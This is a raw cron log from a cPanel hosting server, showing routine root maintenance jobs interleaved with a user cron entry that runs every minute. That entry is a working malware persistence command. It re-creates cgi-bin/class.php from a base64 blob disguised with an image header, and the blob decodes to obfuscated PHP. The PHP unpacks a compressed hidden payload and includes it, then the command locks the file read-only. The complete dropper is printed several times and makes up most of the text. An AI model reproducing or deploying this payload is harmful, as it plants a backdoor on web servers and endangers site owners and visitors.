Sep  7 21:42:01 server CROND[17970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:42:01 server CROND[17972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:43:01 server CROND[18354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:43:01 server CROND[18355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:43:01 server CROND[18356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:44:01 server CROND[18741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:44:01 server CROND[18743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:44:01 server CROND[18744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:45:01 server CROND[19225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:45:01 server CROND[19227]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:45:01 server CROND[19229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:45:01 server CROND[19228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:45:01 server CROND[19230]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:45:01 server CROND[19232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:45:01 server CROND[19231]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:46:01 server CROND[20049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:46:01 server CROND[20050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:46:01 server CROND[20051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:47:01 server CROND[20444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:47:01 server CROND[20445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:47:01 server CROND[20446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:48:01 server CROND[20826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:48:01 server CROND[20827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:48:01 server CROND[20828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:49:01 server CROND[21207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:49:01 server CROND[21209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:49:01 server CROND[21208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:50:01 server CROND[21689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:50:01 server CROND[21691]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:50:01 server CROND[21692]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 21:50:01 server CROND[21698]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 21:50:01 server CROND[21699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:50:01 server CROND[21700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:50:01 server CROND[21702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:50:01 server CROND[21716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:50:01 server CROND[21715]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 21:51:01 server CROND[22534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:51:01 server CROND[22535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:51:01 server CROND[22536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:52:01 server CROND[23086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:52:01 server CROND[23087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:52:01 server CROND[23088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:53:01 server CROND[23472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 21:53:01 server CROND[23473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:53:01 server CROND[23474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:54:01 server CROND[23855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:54:01 server CROND[23856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
